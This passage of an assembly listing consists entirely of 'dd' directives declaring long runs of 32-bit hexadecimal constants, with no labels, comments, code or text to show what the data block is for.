dd 4E5966Eh, 0C2097740h, 0D1DF5757h, 1EC30103h, 20FEBE1Fh
dd 4B955F2Eh, 65C294E7h, 0AA02FF67h, 0BAFD6C4Bh, 0B2610F33h
dd 106C79B1h, 58C04220h, 0AAAA35Ah, 89579589h, 68B055DCh
dd 5E5F0FE9h, 0A519BED0h, 0BF89EA8Ah, 647688C2h, 368B5659h
dd 0C2A7889Ah, 552B51h, 24748AD5h, 0D344FA03h, 0F0631608h
dd 0E19FF765h, 2C7E5EDFh, 99DFA75h, 0F26DF51Ch, 0E0E2E986h
dd 97F60729h, 0BE7ABA39h, 48EFB072h, 1F720D0Fh, 540028Eh
dd 0D4FD618Ch, 0A04A1E78h
dd 5397BFC6h, 32620816h, 2E3CBE07h, 8CB82510h, 9F3FF8F5h
dd 782BE982h, 0B9EAD103h, 58668734h, 2EC08410h, 0E116ADF6h
dd 237F0EFEh, 8263EB64h, 50E561CAh, 6A116804h, 134A0CB2h
dd 5A42FB0Ah, 7FA499E9h, 0E2FAFCC6h, 5DD72980h, 2D008F5Ah
dd 67C558D9h, 2387135h, 0F70502AFh, 5626DAF6h, 2392CB4h
dd 21AA5CDFh, 5430F940h, 0FE7FF925h, 78B58303h, 0C024FA1h
dd 3CB82F1Dh, 44034046h, 0C79C08D0h, 0E984F221h, 83BD3FD1h
dd 7008C307h, 0DBF722C1h, 72698F61h, 0B76E075Fh, 0E1B5B34Ch
dd 0FFEECB0h, 5ECC0C4h, 0FABBDD45h, 6D2E76B7h, 0EEA4A834h
dd 0D46C5F88h, 6BD4BE40h, 325E6DADh, 88C266E5h, 0E98993FCh
dd 0F71DE2B9h, 6805F5C7h, 0C68D06E7h, 8520E2Bh, 75E93AA2h
dd 0AC583B58h, 3EDC2042h, 541ED9BBh, 0A057926Eh, 0B03B502Bh
dd 16C03DF8h, 96BD7D25h, 0B49D6916h, 5B1E5556h, 80D247B2h
dd 340CA1C6h, 8043BF64h, 0DE5AADCAh, 0A9B81118h, 5103E90Bh
dd 0C0F03282h, 24021FE0h, 0A51755DAh, 5A9CBE02h, 615F29ADh
dd 0AFF956EFh, 0FA4B8768h, 0A28298D4h, 315F026Bh, 2DED72FDh
dd 0DB92E301h, 2F667A7Dh, 2AC8E1C1h, 413D6B39h, 9743AA37h
dd 1D2050B8h, 807D9084h, 92B987D9h, 20C4B84Ah, 80176720h
dd 42EA38C3h, 151684Fh, 0B132CFAEh, 82296F63h, 701C2720h
dd 2D7C9518h, 0DB7C8B59h, 4539CD5Fh, 970BA9C4h, 2CFF09C4h
dd 5B4ADDE6h, 2118788Eh, 2E2D752h, 505BD69Fh, 22CEA060h
dd 5B9CC55Ah, 0BAD7C6BCh, 37A10F45h, 82828DEEh, 0F979BE06h
dd 82B8787Eh, 2AD64407h, 0E84FDEh, 4963018Dh, 0EC1E681h
dd 983D7C32h, 0E67709B2h, 71C424C1h, 575E8965h, 0F55BBA7Fh
dd 7C028C65h, 89627B23h, 61328EF0h, 1EEB7FCCh, 14A8F1D8h
dd 0BF3F5E34h, 0AB5A8212h, 328D95B3h, 98E36EDFh, 0CA517305h
dd 6AC1BF6Eh, 0D82A3704h, 7B4CA612h, 0F821A1E8h, 846B48F5h
dd 0F167BCA8h, 1620E1F7h, 0F58080CAh, 0EF28B206h, 0B7A85259h
dd 36E728E8h, 85BE63DFh, 29C46E44h, 4D12A5E0h, 0A15F2728h
dd 2D8CC45h, 0C004632Fh, 4E2A7658h, 2BF9445Fh, 58FB4C97h
dd 44FD8249h, 6BB2657Dh, 0D4728353h, 6B58E791h, 0E9134CE8h
dd 0BA175226h, 580BE1E3h, 0D1D4B450h, 0EF800A00h, 90FC08B1h
dd 0A3C03068h, 2885C32h, 4E8043B7h, 23CBEE65h, 296F506Ah
dd 0C050649Dh, 0CB134281h, 0CD80654Fh, 9DBA4A27h, 4B95EA80h
dd 18C01A55h, 186614ACh, 2AD86089h, 3D0EFDC2h, 0C4AF464Ah
dd 58080929h, 10E23A5Dh, 0D26CE596h, 2563F2BBh, 0A5D9D443h
dd 0A325FB54h, 0BA5AB147h, 0F8717D3Dh, 0F6A5F59Fh, 11F173E6h
dd 8AA32A7Fh, 2A4C7E10h, 0E8B746BDh, 27E95148h, 0C371276Eh
dd 0E93DF469h, 905D504h, 0B1D9775Bh, 0D9BAD7ADh, 7B396758h
dd 3A9B500Eh, 1B57802h, 0E868CDE9h, 0F05F54B0h, 0E3254E32h
dd 11CB35A1h, 85ADD883h, 86FBB2FEh, 4E2AB42Ch, 8950E247h
dd 5F3A623Ah, 0E95873D9h, 0E24F5BEFh, 2A921060h, 0AA43B213h
dd 4C31DFF4h, 124EA0DDh, 9F98AE2Eh, 666A9F2Dh, 8E7D8377h
dd 0EA284CD5h, 2240FE5Fh, 72840B27h, 52C2C131h, 6F70CB68h
dd 4B00D1B6h, 33BA0254h, 6B4A95D9h, 5240F0A0h, 9B07C856h
dd 0B2776242h, 0EE57EE35h, 0BC555EE9h, 0C729854Fh, 0D360EF04h
dd 0FF92ABA8h, 17619805h, 57D62CFEh, 0E3F7E916h, 0E415C9EBh
dd 1EC07798h, 8C06BCBBh, 0EBD11C05h, 0A30892C1h, 0D9290C9Fh
dd 51AD7453h, 0A064422Eh, 0B14F0C3Eh, 55A2422Ah, 1C914180h
dd 0FAD7F797h, 518FC0CEh, 58095950h, 9A608D68h, 56CA6AC3h
dd 0EC9145E4h, 6BBA024Dh, 0F72A7E4Fh, 48F3FBE0h, 0DF485892h
dd 423E7BCFh, 994BA899h, 795ACE40h, 0A2E4FF08h, 0BA12D34Ah
dd 0DA40D52Eh, 6B324828h, 40B5A20h, 0D5036978h, 270827A8h
dd 0E8B8A87Dh, 0CA197427h, 24802D51h, 1931DEBDh, 0A753C83Dh
dd 0B9446116h, 29A3496Eh, 0E845BA02h, 0E46179F5h, 55F92ACh
dd 20071CF5h, 0B80636D4h, 22661EEEh, 99B52796h, 7E158565h
dd 0DC24759Eh, 0FCAF0233h, 0C8982DC7h, 0F8955251h, 0D5E23986h
dd 4FEACAA8h, 8A1F8434h, 2DC61219h, 6882BEE9h, 23D47B27h
dd 7C481360h, 0CBD8A042h, 0AB5613C3h, 0DF5EEE79h, 39559344h
dd 0E2A101EEh, 0F07C036Bh, 0F5123EEEh, 0F4EF6689h, 0B102CD8Eh
dd 7CE9EB06h, 0FF9077DCh, 797EB652h, 0FA69AACAh, 30FE2889h
dd 0F4F72CE3h, 5AD1EBF0h, 0ACE8C8FDh, 6A2713E9h, 5FB2AAFFh
dd 0B05A21D2h, 0A2F90766h, 0D55E3D42h, 3FA61547h, 0BD6D6858h
dd 21138E5Bh, 0EEE98245h, 488148F0h, 0A61412CEh, 7806F172h
dd 0F646155Fh, 0A92DA1F2h, 25CED6FFh, 0EA500D72h, 2500B498h
dd 0F681517Bh, 7E2213A7h, 0E9F21E63h, 0A673A70Ah, 794D8C0Bh
dd 65DECE8Fh, 1EA94775h, 0B3C32DE9h, 88B956E3h, 0C2B38016h
dd 76AE3F0Bh, 17E29729h, 595D0802h, 0EE4F73E6h, 0C9BE3590h
dd 46051409h, 1B05F14Eh, 0FB1E3603h, 0E8C1F480h, 8FA8D007h
dd 0C56C6286h, 2EF7893Ch, 2DA6B274h, 2F1188h, 0C680CE86h
dd 0A3A3FE7Ch, 325A54BAh, 0B7757402h, 40E38121h, 986CB977h
dd 36DC2016h, 4AF55D4Eh, 0F22E9835h, 9EECC5F8h, 0B2BFDD94h
dd 2C94974Bh, 3D64C1FBh, 0C781C81Fh, 0C1373209h, 204C5013h
dd 40BDDBD2h, 1673ACEDh, 0EC5F20A2h, 4AE982B7h, 0E9187D7Ch
dd 0A1BF5CBAh, 6CE66354h, 5F1E0D70h, 0EC09DD3Ah, 0CB9250CCh
dd 44F6D75Ah, 13A4FC5Eh, 2DAB6A6Dh, 843A6DBCh, 290B4191h
dd 0D64A0FF8h, 4400C9AFh, 0B4AC8404h, 7C97FEB0h, 27144AD8h
dd 9887A704h, 0CABF5A9Fh, 13945781h, 0E9053C93h, 0DD11FE6h
dd 0A16A67C7h, 12FF7854h, 415444DFh, 75E71E33h, 84EF06D6h
dd 0A408102Ch, 0FE16929Eh, 28E5CA61h, 0ECD0DD3Fh, 9AA95A41h
dd 0BFD944F7h, 0FA4B9CA2h, 90CAA812h, 9F062125h, 4298133Eh
dd 2825BC0Bh, 2FD6783Bh, 90754CB1h, 1F99B229h, 95C4B450h
dd 9F49B1B6h, 0F554A19h, 134F3ACAh, 29FB895Eh, 97CC699h
dd 671363C3h, 0E2E27175h, 5D09DF1Dh, 4B0B62F8h, 550EF208h
dd 4DE585h, 4F111DF6h, 4337E905h, 596B7D65h, 2670A571h
dd 98947E20h, 0A78D2FA3h, 0A21511F7h, 5C7227FFh, 0E978C55Eh
dd 3D4BB53Fh, 0FEF4A5B3h, 441A6D31h, 0BBC5CF69h, 0A98EC0Ch
dd 7FE55EE9h, 0C052B380h, 2C5005EBh, 3585DB0h, 20C58058h
dd 0EDABDD83h, 9084E6ADh, 0E8288206h, 0CEF3F659h, 88A073EAh
dd 133DFCD6h, 0DD4662EBh, 310B33FBh, 37292AB4h, 74AA2D3Ch
dd 96803C4h, 0BA0B36E3h, 0D1815F94h, 6873E94Ah, 92F45AEBh
dd 0F97E1FD1h, 30876E38h, 1471BD1Ah, 0F839FE2Eh, 0C465B100h
dd 0F0FD294Fh, 0D508A2EDh, 2E5DF7E1h, 697A6F98h, 0D9D5846Eh
dd 0CEA44270h, 550094C6h, 8840E1BDh, 90E5C129h, 2F4EB00Bh
dd 0ACE6C60h, 0E62587B0h, 42DC5102h, 51FEAEE9h, 641CDF2Fh
dd 532FAC20h, 5A171D5Ch, 9E500B57h, 43DC5BA9h, 9A927670h
dd 2E666438h, 0AC84D5DEh, 0AEC460DEh, 0B717C84Ah, 303D8A81h
dd 0CDFA8EDEh, 4DA7E49Eh, 27DADEAh, 1E8C5223h, 34D0F729h
dd 9A98DA84h, 0B471C200h, 0E9F0894Ah, 0ECBF4B54h, 7192B0A3h
dd 0E9391BF4h, 6E03FB10h, 3F4BB6EDh, 58DDD261h, 423408A7h
dd 80093102h, 56BB5F3Dh, 6B4E9FD9h, 2D5CB620h, 164713E3h
dd 0D510AB38h, 16044807h, 45903A17h, 3675B0EEh, 0C8CA76C6h
dd 79420882h, 792FC77Eh
dd 525862B2h, 0E4CE0F0Bh, 0E61341F1h, 0B786543Fh, 554BE4Ch
dd 5453E9CAh, 48D0A6BEh, 182F0113h, 0EFC16392h, 5FD82330h
dd 85D8E9BCh, 0A3EFDD01h, 2FFED0C9h, 1EA27D2Eh, 18DF0ECBh
dd 824B6068h, 0D88E6B75h, 0BF32A644h, 0F902F78h, 0E9A6DCB5h
dd 915352D6h, 9D4979EDh, 6C220BE8h, 19DC9C57h, 552736BCh
dd 7F253E47h, 714F90E5h, 0AFCF3734h, 0F4E150BCh, 9C342F18h
dd 2D09A0EBh, 0A8C4CB9Dh, 0EDEA3CB8h, 5786727Bh, 3FC4943h
dd 9A6D8E0Dh, 0FBE98442h, 0D311B2BBh, 0E9C5ABB6h, 5EA4E84Fh
dd 0EAEB39BEh, 0C5D4C5F7h, 0BB3D715Ch, 740DE4C9h, 2620D990h
dd 847BE48h, 91739C3h, 0BF1ADA0h, 0E1E4AEFh, 217021D6h
dd 0AB5D4BE8h, 5593CBD2h, 70207D5Ah, 5039095h, 307617CEh
dd 2079974Dh, 14F6C7DEh, 89089790h, 48771E59h, 1E5D1808h
dd 850C3C1Ah, 0B2FE0147h, 18E9405h, 1261E1BBh, 65A0E968h
dd 0EDB77E44h, 0C88AE9C2h, 31D5CAE9h, 43417FF7h, 4CF448C4h
dd 0F94E5BEh, 2D772941h, 18F15ED9h, 4852CD97h, 17E41FA0h
dd 0F97DD413h, 8B084142h, 57547070h, 59E79C18h, 28FB3AE1h
dd 0E325E937h, 9173F983h, 5FFA6401h, 0CECA0ABEh, 0C94298D5h
dd 56005250h, 0C555C668h, 4815E1Dh, 4660D7CEh, 9A20806Eh
dd 1C483440h, 353D020Fh, 7F316393h, 0A400F466h, 5A2BEA67h
dd 9748C5E9h, 7CE35F18h, 1CB8080h, 5EB25271h, 0CC07E2C0h
dd 0E09008EAh, 71EFF65Eh, 36875ED5h, 6B8D1026h, 0B513583Bh
dd 1CD56C2h, 0E3800817h, 860699D4h, 0C3E57B68h, 0E389E9F4h
dd 4D84F24h, 2E04842Dh, 6388376h, 7B4180C0h, 131E3B7Dh
dd 0F22DC9BCh, 9580E357h, 0ECB75352h, 0FEE0AEB6h, 0C6865B1Fh
dd 6608D099h, 0CFC7B07Ah, 84E7E92Ch, 419182AFh, 0C130053Eh
dd 2E785EB1h, 0B2BA0434h, 9D04921Eh, 2AB44C3h, 140C52EFh
dd 0C5056DC4h, 0E2E8114Eh, 0F3900AD7h, 143D5h, 0AEBE563Eh
dd 4E201F22h, 79F6F2A2h, 6431C681h, 0E940584Dh, 9B33FF8h
dd 0ECC7E94Bh, 68892771h, 4D4DD5BAh, 61DCE905h, 90BA65F4h
dd 0BDA324A2h, 60DE8E7Ch, 0DCBEF13h, 84B08B5Bh, 0BB175F10h
dd 45130B16h, 0BE5FC4FBh, 0E909F38Eh, 7429D0D7h, 5580E7D6h
dd 310D6E0Eh, 0B23A90D8h, 96C2BFEAh, 9808F0DDh, 543A096Ah
dd 0B30F165Eh, 0DB182C62h, 88B392F0h, 61D4F42Fh, 2F52F568h
dd 0CA8F5F32h, 30C774ACh, 10408556h, 0F801C016h, 12EAD108h
dd 3505B05Eh, 0E5102C6Bh, 0B892A7C0h, 0D1587689h, 7E42AB18h
dd 495CE95Ah, 0CB262B8Dh, 5A6D5A9Fh, 284E7525h, 0E7202A41h
dd 28B009CBh, 0DD7486Fh, 0C480A448h, 31EA24DAh, 0E92FEF87h
dd 591CE13Fh, 2331BB2Eh, 7D28771Ah, 6D7EA5C9h, 5AD12904h
dd 4E9E6EB1h, 4984400Ah, 382FE997h, 9F7C7AAh, 5F40DA4Ah
dd 0B5FB985Bh, 54968B9Fh, 0EA136E1Fh, 6B4D8391h, 0D101CC2Bh
dd 0B801D894h, 65C12497h, 6A05F320h, 2360F9Bh, 69277F78h
dd 8A038D6h, 6422F2A1h, 0F6FA4E04h, 0C9010B0Ch, 0E07AA271h
dd 0E59350EFh, 563F13A0h, 6BB5C230h, 52849078h, 21196818h
dd 82F998C5h, 5AEFDE5Dh, 47E45975h, 0AE6D69E8h, 7127DD0Ch
dd 6E3D0DEBh, 2B0C6DEAh, 0A55C4F8h, 593DFF2Fh, 0D829217Ah
dd 27590329h, 3F9884A6h, 5B81B24Ch, 0AD7E0CF9h, 9B1E02F1h
dd 7F01A58Dh, 520A0D1Ch, 64C76E9h, 696CBB09h, 0D42C3C16h
dd 0B6328BDFh, 56E41476h, 0F48B5DEDh, 5C2D5C5Eh, 6703D24Eh
dd 2B039DACh, 0B152A4EAh, 93D6DA74h, 0E789DECFh, 0BF17BEECh
dd 310EBF18h, 0E06B54BDh, 0DB6328BAh, 0C6E9220Ah, 2D939690h
dd 357B66A9h, 0F4820CBh, 0A045133h, 0EEE8AADCh, 30F4BBB1h
dd 0AF901AD8h, 2BC405D6h, 5A20C9C9h, 17EE0908h, 82DC29E5h
dd 481889E4h, 0DB5B77FEh, 26FA2C83h, 177B290Dh, 6F5DD989h
dd 0BE7C4E03h, 748E0549h, 0B818623Bh, 1CB1101Ah, 407BD4Ch
dd 0B214C280h, 680142E0h, 5B6C48D9h, 7F277AC1h, 69D87F0Ah
dd 0F606524Eh, 39E8810h, 0CB99BB35h, 4586D17Eh, 0AE890628h
dd 585516A9h, 6F162DF5h, 0C605DF6h, 950D9E6Eh, 0CA09773h
dd 42B40880h, 46A4097Ch, 7D9734ECh, 8BB71494h, 4254741Bh
dd 0D7B4257h, 27F96885h, 0B34A48F2h, 34FA5FCDh, 5CBDBEB2h
dd 0A22AC196h, 53A82F5Ah, 0FD42DAC9h, 5F697765h, 0E9548430h
dd 4C803C4Ah, 332E4FBBh, 0F8BB07F3h, 0FB60918Ch, 41D3A427h
dd 6FE08313h, 0AFE64FD1h, 2DC32B1Fh, 253105EEh, 0A5C29D22h
dd 56707C75h, 6A0C6851h, 623F12FDh, 5A4AB3CFh, 8B9A51ECh
dd 0AE98A7D5h, 59BB7789h, 9F1E2D64h, 11F0A05Ch, 5013D496h
dd 87D1F613h, 0F23E5DEEh, 0D04EC9BFh, 78F6953Fh, 0EC55F659h
dd 401F15F0h, 0FA4B8869h, 805BDDB2h, 519670Ch, 0CA810E1Fh
dd 4ED06580h, 0C706E2C1h, 0E1AAC3Dh, 6F6CE113h, 0BAD25AB7h
dd 9C550C8Eh, 822EBF2Bh, 305DB948h, 35BBA02h, 0AFC1079Ch
dd 0E1F58181h, 1D857D13h, 0A6390270h, 69AAF0B3h, 0E65710CCh
dd 9BCAA0E7h, 0F7C2E174h, 0F84D344Ch, 7CF95FE9h, 3BDBE9E0h
dd 2F285ACh, 2D4F91B2h, 89FE1EFFh, 5B5E7B93h, 23BC2184h
dd 8ABA9494h, 87BC932Bh, 0C1A8404Fh, 39611DDEh, 202E7495h
dd 55D0EA08h, 70F6EF75h, 224160F3h, 10D2593Ch, 0C4277597h
dd 5FFB405Bh, 0F0F6DD01h, 61AE5FD3h, 2726048h, 8348DF5Eh
dd 2E1F22F5h, 1EDD1B12h, 31F9B5B3h, 0F7A17842h, 77A17ADFh
dd 0FD47167Eh, 6862D8ACh, 14E2BAA9h, 7E4F4AE9h, 0E72CEEF5h
dd 0EE099764h, 0A69515DFh, 31D00269h, 8F10D83h, 4CDB5D49h
dd 66C30C3Ch, 69DC988Fh, 5B576625h, 0D22C4486h, 4CD86D83h
dd 2BF532A1h, 9E1227CFh, 90F6AEA0h, 683966CCh, 9439452Fh
dd 0C231B402h, 0D655A48Bh, 6F9AE9D3h, 0A7F7715Fh, 0FD52757Ch
dd 0D18455CCh, 9570DE95h, 5D0C815Bh, 35E8D2F7h, 0F4C2EB1Fh
dd 54B67F89h, 0EE38E9AAh, 31813E15h, 4BBBC22Eh, 414FD4D2h
dd 0F3C4EFF2h, 108FED64h, 0D004D8Bh, 6E70444Fh, 302E0C1h
dd 59320A35h, 858F455h, 772F9519h, 999D2A16h, 707F31F0h
dd 1856E973h, 0B8D4F680h, 88512815h, 0EBE8E694h, 73EC386Bh
dd 0CB808AA8h, 0E3C08816h, 0A3B1A402h, 0D102C330h, 0A43B5BDAh
dd 32CBFFFDh, 0E24CF7C9h, 0B9471534h, 32950BBAh, 31CE34E9h
dd 62D92CADh, 0A259E12Ah, 605BDD93h, 2D10AF50h, 0FD020962h
dd 0F5418CF4h, 40B3B7Eh, 0A8130443h, 1B84CE0h, 78912B80h
dd 2603E8C1h, 0B9BD050Ah, 1E0C63Ah, 2D4F3EE4h, 0D406BD4Ch
dd 0C3F7E4Ah, 0D5EEA009h, 35E3E0E2h, 805E121Ah, 0CD12FF54h
dd 852FB4FAh, 18B3A604h, 0BCBA38E9h, 5AB74F90h, 0ABA2BAD3h
dd 29FD22D7h, 5A0BDE55h, 2076645Fh, 583B674Ch, 0BEA6A457h
dd 3174B8B0h, 29451670h, 82D10CDh, 9A6AFB40h, 9B9078C4h
dd 283FA13Dh, 0E8D6B598h, 0F1AC752Dh, 4B798E18h, 3E22FE6Eh
dd 0D514B70Ah, 8C8B3717h, 0F204C06h, 64055C71h, 143CE72h
dd 0E4934BECh, 0C241D783h, 0D46CE001h, 97860078h, 54BF0E23h
dd 6E13EBBh, 7E75689Fh, 7C14A2A4h, 99DD9D73h, 0B3AC99Ah
dd 168931C2h, 0F02F64F4h, 6CEA065Dh, 0C2EBC64h, 23B7CB5h
dd 2361E95Bh, 5998B8D1h, 38DE8811h, 0F027585Bh, 25EF8A49h
dd 1FB97B86h, 0EFA7E9B1h, 55F68960h, 0DDB951h, 89671A37h
dd 0D1C2E9CDh, 5127991h, 5F72E2AAh, 0EE7912FEh, 56000EF3h
dd 0C83BD7BEh, 0F628813Ah
dd 0C50406D3h, 2D612F75h, 83B50BAh, 30D55E2Fh, 9EADE933h
dd 0DD680413h, 0C4C8BC72h, 9AFE4932h, 685B04F5h, 31BB0C21h
dd 9D648CBEh, 58CBD111h, 0CE2F9067h, 93219C2Fh, 0FBBE95FDh
dd 92BEAAD4h, 857F6DB5h, 0F6BA5706h, 17357E98h, 4F804271h
dd 62BDFC60h, 6F416601h, 0A4625E07h, 0C25D07AFh, 548449C3h
dd 7FDBEE4h, 99ADA25Eh, 8004A65Ch, 0A2696E03h, 100C3260h
dd 2D38DD4Eh, 550B7BE9h, 5F0744D7h, 1FA2A80Dh, 5B05F928h
dd 291FC830h, 0F61F69D1h, 12A284FDh, 708BEB01h, 0ED5AE938h
dd 985A4DF4h, 5FFBE28h, 0E92F5122h, 749DFC5Dh, 0BF0D3FCh
dd 0BC4B544Eh, 7F6AFDD5h, 0A1514575h, 8561238h, 0BCA04669h
dd 0B89E9698h, 8BFE5292h, 0F8DD763h, 0EE4B313Ch, 4AE37368h
dd 3E688D65h, 0B651F2DDh, 21017D9Ah, 4A6148C2h, 99DDCB8h
dd 0ED5EF822h, 800E4D28h, 0F66971E6h, 0AE103DD6h, 6866AC03h
dd 0AFA62FE2h, 8057B100h, 0E9D006C1h, 0CC03E4C0h, 0E7160206h
dd 0D9B0E9A1h, 0EBAF42F1h, 6855B7A0h, 0DC255F24h, 519C577Fh
dd 0A22E916h, 43F0F44Eh, 40D0F7C6h, 0B870808h, 10EA68F5h
dd 85193EDDh, 92BEAAD8h, 0F97D22EFh, 20FCB03h, 5B4B3F09h
dd 57DE00C4h, 0E6403568h, 4AB05FFCh, 59274802h, 84F8899Eh
dd 712958Fh, 192926CAh, 0D03BEA0h, 8F274E98h, 1D185E2Bh
dd 0D2EA6508h, 0E342F655h, 9C3B12FBh, 0BABC2447h, 0A1685180h
dd 0B4203763h, 4F9700E4h, 0F9090EDDh, 40AC5F4Eh, 7F376FB1h
dd 8BDE00FCh, 0E8F63C9Fh, 93C66BC2h, 48C1CA13h, 0B34B9AFh
dd 810F826Fh, 0A163E02h, 0D61AFCF6h, 187AF795h, 5825D495h
dd 4C1763EFh, 0F475821h, 4F32D925h, 25CBF46Dh, 0C253C224h
dd 5C000668h, 0A87C0B68h, 139FB824h, 0ED0C6420h, 0E0EB0260h
dd 7D422A6Ch, 80640EAh, 78595850h, 50E04B75h, 0A3274A92h
dd 495F79F7h, 9966021Eh, 0A5DE990Bh, 0AD0256A0h, 82A913A6h
dd 579CEFFDh, 0F5697CF4h, 0E3896C15h, 7014552Eh, 883D9780h
dd 1618BD80h, 7595643h, 301C3C28h, 40F9E935h, 37AC649Fh
dd 0C20E5120h, 23FF1FC7h, 225C759Ch, 0B904BC17h, 23A2E698h
dd 3B65682h, 0D490EA88h, 5903665Ah, 0D09AE480h, 9427AFECh
dd 0E903F480h, 0B562B513h, 0E1C20174h, 20945266h, 0EEFD0ADFh
dd 0E4EF77DEh, 0D2A72A0Eh, 0FC3AB212h, 0C580018Ah, 0D87E91Ch
dd 90DF45A0h, 0A8C95F0Fh, 2CE8C447h, 6661B800h, 25244577h
dd 4B389E14h, 48414A8h, 3C4CED6Eh, 0BC82D2Bh, 262FF8FAh
dd 0C969C101h, 4DE0D355h, 10984E50h, 0EE5BCF97h, 35993954h
dd 45BF29DAh, 0BF5EF176h, 0B44EC3B7h, 5040C005h, 274377B7h
dd 4BC86F64h, 1D0B6689h, 54D14F77h, 0A8023F29h, 0DF29CEABh
dd 0E9179770h, 0EC271F24h, 0E1D37192h, 6378E623h, 3F666809h
dd 0F2751B7Dh, 9FCC504Eh, 0DBFAD474h, 42CA080Fh, 6A8FB900h
dd 2810966h, 250FF3C9h, 0B989C139h, 60E220FDh, 0C1694338h
dd 26509D0Ch, 0D57D7093h, 4E3F7E09h, 0A824201h, 0C316AB08h
dd 3E4E98E8h, 4CD252DAh, 83880B0Ch, 806FC56Dh, 0C91BF02Dh
dd 9A09055Ch, 0F2C247Eh, 50079404h, 8B4001B7h, 0D75E955Ah
dd 13EA63C4h, 20C56978h, 0FCBDE64Dh, 0B17865A0h, 9270536h
dd 599050C0h, 3FB12AE5h, 13B15694h, 7AC92902h, 0B1CB5E2Ch
dd 0A80A7D24h, 43B6C4A7h, 51A0EAB8h, 882868B5h, 2320ABEBh
dd 0FD2D5B3Dh, 8F024A58h, 80854006h, 340EC7E2h, 296E3BBFh
dd 34081C68h, 6B14101Ch, 2136A10h, 0CBFC6DBBh, 40E48FF9h
dd 161935Eh, 9F4A2DDh, 0A0E4D508h, 2EBE660Eh, 70B89652h
dd 0BE5822Eh, 0EADF56B5h, 0A0D7F948h, 8A749DB0h, 0E90CBC20h
dd 0C032076h, 0F14F12B4h, 141ED40Eh, 14418308h, 55900B6Fh
dd 8004FF7h, 0F72D5D3Ch, 95F1CB2h, 0E8C95FA7h, 6BEDC436h
dd 2B61E0C2h, 0FC8882DEh, 342C030Ch, 0D828621Dh, 0FCF176B8h
dd 6F9E4F4Dh, 21FB38B5h, 8166A1E7h, 6E88C9E7h, 31EC08B5h
dd 9C34B2BEh, 5629C98Eh, 0E9C7D97Fh, 17202286h, 6013F670h
dd 21EFAA35h, 25448C0Ch, 10E0284Fh, 2112B6B9h, 93D70AF0h
dd 21C292C2h, 2289E56h, 0B589EE54h, 65101168h, 0C5B651B5h
dd 6CC1C2DEh, 0F77A8FDCh, 2D1711C0h, 1433943Fh, 613F1h
dd 6705E3C7h, 90CF013Ch, 0D5088246h, 82D559B2h, 0C8A829F5h
dd 0BD1C4F6Dh, 0FC2FE1F3h, 6EE9F009h, 0B0A03DD3h, 0C5585C35h
dd 0F261A780h, 0A50B0510h, 0D70683DDh, 4F1FDC22h, 0DC68A3A1h
dd 7F89D16Bh, 0B98069F8h, 69034F3Ah, 0C9CF4150h, 96FCB005h
dd 0F90BCB01h, 4983C855h, 1FE8014Eh, 5D684258h, 0A797883Bh
dd 2FD62C9Ah, 0EF80C25Eh, 90AA16Ch, 0A3E8EF47h, 37393053h
dd 0F67B100Ch, 24D49CC6h, 67C7065Fh, 454FFC26h, 68140660h
dd 979AC8F2h, 0D2DF9109h, 65505EADh, 61E7833Eh, 0ADE2EB85h
dd 0B062CCDFh, 2D014068h, 0F7A95E6Fh, 0DEF4C689h, 40C6BD69h
dd 4E4986D6h, 3ED0AFBh, 100F1182h, 8288504Eh, 627C5F07h
dd 145BBD80h, 58145CBh, 192243F5h, 0AD5C8302h, 868CEAE5h
dd 964BA8EFh, 945F977Ah, 0A548BE19h, 0D37D287Dh, 0E0083B02h
dd 0A04FC064h, 0A7330B09h, 0AF84CD31h, 9CF3FCEAh, 3AAEB15h
dd 8C07A9F2h, 0BDCAB071h, 0AFC44C63h, 0E70F4312h, 0C8281322h
dd 0E946CE1Eh, 4B42F76Ch, 0C321FA5Fh, 1C7428F5h, 309E6F04h
dd 0B7173E9Dh, 6900A7B4h, 4F2BD5B0h, 30BFC17Ch, 0D5BF289Fh
dd 49C00314h, 1179512Dh, 5F00AADh, 89D32D07h, 586A3A33h
dd 1E36E691h, 8B0996BDh, 0C53CC702h, 2462C89h, 540B1A96h
dd 2143A0F5h, 0BD90D21Dh, 0B2161760h, 7E90919Dh, 3B41973Ch
dd 94E2E3Bh, 7DBDECE9h, 0F35EE712h, 3FAD3D3Dh, 5785B0FDh
dd 58402CBBh, 0EB02F0FCh, 767443A7h, 126CDC40h, 0F705D500h
dd 3CE125D0h, 0E9483F1Ah, 0A4442224h, 5A0CA4F0h, 101E341h
dd 4AF055BAh, 0A2719734h, 0E40F43Fh, 0A2779D50h, 0C3EEC122h
dd 46459846h, 0BD4A4C9Bh, 0A5972E3Fh, 0AEFB52F8h, 3E138FB3h
dd 953AF67Bh, 3D17C4B3h, 1072E418h, 9826C33Dh, 0E2177FF0h
dd 5D560E13h, 88D8C129h, 7FFCFCEAh, 0D1894209h, 7F41775Ah
dd 4EC6C3Dh, 7FBF6850h, 0C89031BBh, 7A89078Ch, 77B4A068h
dd 0E4D99551h, 4C9C7F49h, 35146813h, 907637FEh, 46ED310Ah
dd 12E2E5B5h, 4C3AA251h, 104707F5h, 0AEB33201h, 0C6DB1C54h
dd 257D0AA3h, 0F70401B1h, 0E68768D6h, 0C726F059h, 0CD109003h
dd 3BFDCC79h, 0E535047Dh, 0C50E77A2h, 0C988BD70h, 689660A0h
dd 89B5DEEEh, 0EC767D06h, 205B52E9h, 0D13B9A67h, 0D5DC93E8h
dd 5728DCB9h, 0B91D40D1h, 4E395B00h, 388BA60h, 45195FBFh
dd 4C2F4930h, 3BE8565Bh, 7025AA91h, 5BF7E0C7h, 0CA26FFD7h
dd 18C9F611h, 0C49E044h, 0B400477Fh, 50BA5257h, 0B76BBE09h
dd 0E904F5DEh, 0E5E8227Dh, 0EB083DC7h, 0A4CA1100h, 43169446h
dd 9504EA83h, 75942C57h, 0E8E7F1AEh, 379180D3h, 3B7BDA01h
dd 9F5C5E15h, 0A89B4EB8h, 1FB1C734h, 17E0CB04h, 0FF814FE9h
dd 937BC81Dh, 0E752FD8Fh, 0DD052EBh, 2EF85D80h, 0FAE5DFB5h
dd 5F008C3Ah, 7F52C2BEh, 0D6ADC053h, 680C599Ah, 7068B0ADh
dd 85989744h, 0A1B65093h, 55A4E962h, 6BEFD85Ch, 5A7D787Bh
dd 7A5EF056h, 17293C3Eh, 0D9FACB54h, 74A8ED7Dh, 0E20FB895h
dd 5D393B0Ch, 0F55F4227h, 1DDBA1Ah, 389E52D1h, 4105A82Bh
dd 0D8347E08h, 0D35B1CEEh
dd 4BBDE959h, 7F642ABEh, 83E42C99h, 86F2BF12h, 5EA9FD5Eh
